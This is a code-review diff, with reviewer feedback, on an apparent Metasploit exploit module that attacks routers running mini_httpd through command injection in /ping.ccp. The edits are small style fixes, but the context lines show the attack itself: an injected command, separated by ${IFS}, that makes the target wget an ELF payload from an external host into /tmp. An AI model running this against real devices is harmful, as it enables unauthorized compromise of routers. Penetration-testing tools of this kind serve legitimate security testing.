feedback

Author: m-1-k-3

modules/exploits/linux/http/multi_ncc_ping_exec.rb

@@ -70,7 +70,7 @@ def initialize(info = {})
       [
         OptString.new('WRITABLEDIR', [ true, 'A directory where we can write files', '/tmp' ]),
         OptString.new('EXTURL', [ false, 'An alternative host to request the EXE payload from' ]),
-        OptString.new('TARGETURI', [true, 'The base path to the eScan Web Administration console', '/ping.ccp']),
+        OptString.new('TARGETURI', [true, 'The base path to the vulnerable application area', '/ping.ccp']),
         OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 10])
       ], self.class)
   end
@@ -83,7 +83,7 @@ def check
       })
 
       # unknown if other devices also using mini_httpd
-      if res && [500].include?(res.code) and res.headers["Server"] and res.headers["Server"] =~ /mini_httpd/
+      if res && [500].include?(res.code) && res.headers["Server"] && res.headers["Server"] =~ /mini_httpd/
         return Exploit::CheckCode::Detected
       end
     rescue ::Rex::ConnectionError
@@ -156,7 +156,7 @@ def wget_payload
 
     cmd = "wget${IFS}#{@payload_url}${IFS}-O${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)}"
     res = exec_command(cmd)
-    if res && [200].include?(res.code) and res.headers["Server"] and res.headers["Server"] =~ /mini_httpd/
+    if res && [200].include?(res.code) && res.headers["Server"] && res.headers["Server"] =~ /mini_httpd/
       register_files_for_cleanup(File.join(datastore['WRITABLEDIR'], @dropped_elf))
     else
       fail_with(Failure::Unknown, "#{peer} - Failed to download the payload to the target")